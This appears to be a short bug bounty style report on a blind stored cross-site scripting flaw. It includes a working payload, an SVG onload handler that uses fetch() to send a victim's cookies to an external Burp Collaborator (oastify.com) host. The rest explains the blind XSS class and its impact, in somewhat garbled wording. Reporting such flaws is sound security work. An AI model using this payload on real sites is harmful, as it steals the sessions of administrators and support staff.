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Description:- The vulnerability being demonstrated is Blind Cross-Site Scripting (Blind XSS), a subset of stored XSS, where an attacker injects a malicious script (like an SVG onload payload) that is stored by the application and executed in a different context—usually when viewed by an unsuspecting party, such as an administrator or support user.

Payload:- car’”?><svg/onload=“fetch(’https://adr0y18zp382qw4i8tqpvsj3eukl8gw5.oastify.com?cookie='+document.cookie)">%22%3E) —> see it shows the hyperlink to click by any support assitance employ it would leak the ip of internal organization and attacker can perform the DDOS or access to internal data by endpoints.

Blind XSS: This occurs when the injected payload is stored and only triggers execution out-of-band (not in the attacker’s immediate session), typically when accessed or rendered by someone else, such as through an admin dashboard or email notification.

The payload (<svg/onload=…>) abuses SVG tags to execute JavaScript, exfiltrating sensitive data like cookies to an external domain controlled by the attacker.

Impact;- The script executes when the comment is rendered, sending the victim’s IP address and cookie to the attacker’s Burp Collaborator or a similar endpoint, as observed in Burp Suite.

Because the attacker does not immediately see the results, but instead receives a callback containing the stolen data, this is specifically termed “blind” XSS.

Video link :- https://drive.google.com/file/d/10N9lspffD9loJaEQMxoK0ikdWoDwU9Xc/view?usp=sharing